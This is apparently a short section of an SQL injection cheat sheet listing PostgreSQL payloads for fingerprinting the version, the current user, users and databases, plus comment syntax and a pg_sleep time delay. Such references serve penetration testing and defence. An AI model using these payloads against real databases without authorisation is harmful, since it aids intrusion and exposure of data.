Question

4.1.7.3. PostgresSQL Payload

• Version

  • SELECT version()

• Comment

  • SELECT 1 -- comment
  • SELECT /*comment*/1

• Current User

  • SELECT user
  • SELECT current_user
  • SELECT session_user
  • SELECT getpgusername()

• List User

  • SELECT usename FROM pg_user

• Current Database

  • SELECT current_database()

• List Database

  • SELECT datname FROM pg_database

• Ascii

  • SELECT char(0x41)
  • SELECT ascii('A')

• Delay

  • pg_sleep(1)